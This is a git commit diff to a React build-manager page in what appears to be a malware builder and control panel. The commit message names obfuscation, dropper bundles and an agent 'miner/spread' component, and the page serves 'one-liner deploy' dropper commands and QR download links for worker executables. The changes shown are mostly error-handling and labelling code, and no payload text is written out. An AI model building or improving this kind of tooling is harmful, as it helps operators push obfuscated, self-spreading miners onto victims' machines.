fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
|
||||
);
|
||||
}
|
||||
|
||||
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
|
||||
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
|
||||
const [confirming, setConfirming] = useState(false);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
const handleClick = () => {
|
||||
const handleClick = async () => {
|
||||
if (!confirming) {
|
||||
setConfirming(true);
|
||||
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
||||
} else {
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
api.deleteBuild(buildId).finally(() => {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
onDeleted();
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
try {
|
||||
await api.deleteBuild(buildId);
|
||||
onDeleted();
|
||||
} catch (e) {
|
||||
onError(e instanceof Error ? e.message : 'Failed to delete build');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
||||
type="button"
|
||||
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={handleClick}
|
||||
onClick={() => void handleClick()}
|
||||
title="Delete this build from server"
|
||||
>
|
||||
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
||||
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
||||
);
|
||||
}
|
||||
|
||||
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
|
||||
function PinButton({
|
||||
buildId,
|
||||
pinned,
|
||||
onPinned,
|
||||
onError,
|
||||
}: {
|
||||
buildId: string;
|
||||
pinned: boolean;
|
||||
onPinned: () => void;
|
||||
onError: (msg: string) => void;
|
||||
}) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async () => {
|
||||
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
|
||||
}
|
||||
onPinned();
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
@@ -145,12 +159,14 @@ function BuildCard({
|
||||
onReforge,
|
||||
onDeleted,
|
||||
onPinned,
|
||||
onActionError,
|
||||
}: {
|
||||
build: BuildRecord;
|
||||
serverBase: string;
|
||||
onReforge: (b: BuildRecord) => void;
|
||||
onDeleted: () => void;
|
||||
onPinned: () => void;
|
||||
onActionError: (msg: string) => void;
|
||||
}) {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
||||
@@ -249,7 +265,11 @@ function BuildCard({
|
||||
|
||||
{/* ── Dropper one-liners ── */}
|
||||
<div className="bm-dropper">
|
||||
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
|
||||
<div className="bm-downloads-label font-tech">
|
||||
{build.pinned
|
||||
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
||||
: 'ONE-LINER DEPLOY (serves latest build)'}
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">Win</span>
|
||||
<code className="bm-dropper-cmd">{ps1}</code>
|
||||
@@ -274,7 +294,7 @@ function BuildCard({
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary bm-reforge-btn"
|
||||
@@ -282,7 +302,7 @@ function BuildCard({
|
||||
>
|
||||
⚒ Re-forge
|
||||
</button>
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [error, setError] = useState('');
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
|
||||
const navigate = useNavigate();
|
||||
|
||||
const applyServerBase = useCallback((suggestedUrl?: string) => {
|
||||
const pub = suggestedUrl?.trim().replace(/\/$/, '');
|
||||
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
|
||||
}, []);
|
||||
|
||||
const loadBuilds = useCallback(async () => {
|
||||
try {
|
||||
const list = await api.listBuilds();
|
||||
const [list, info] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo().catch(() => null),
|
||||
]);
|
||||
setBuilds(list);
|
||||
setError('');
|
||||
if (info) applyServerBase(info.suggested_url);
|
||||
else applyServerBase();
|
||||
} catch (e) {
|
||||
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
||||
applyServerBase();
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
// Load server base URL separately so a slow/hung server-info call
|
||||
// never blocks the builds list from rendering.
|
||||
api.getServerInfo()
|
||||
.then((info) => {
|
||||
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
|
||||
if (pub) setServerBase(pub);
|
||||
})
|
||||
.catch(() => {/* use window.location.origin fallback already set */});
|
||||
}, []);
|
||||
}, [applyServerBase]);
|
||||
|
||||
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
||||
|
||||
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
|
||||
onReforge={handleReforge}
|
||||
onDeleted={loadBuilds}
|
||||
onPinned={loadBuilds}
|
||||
onActionError={(msg) => setError(msg)}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user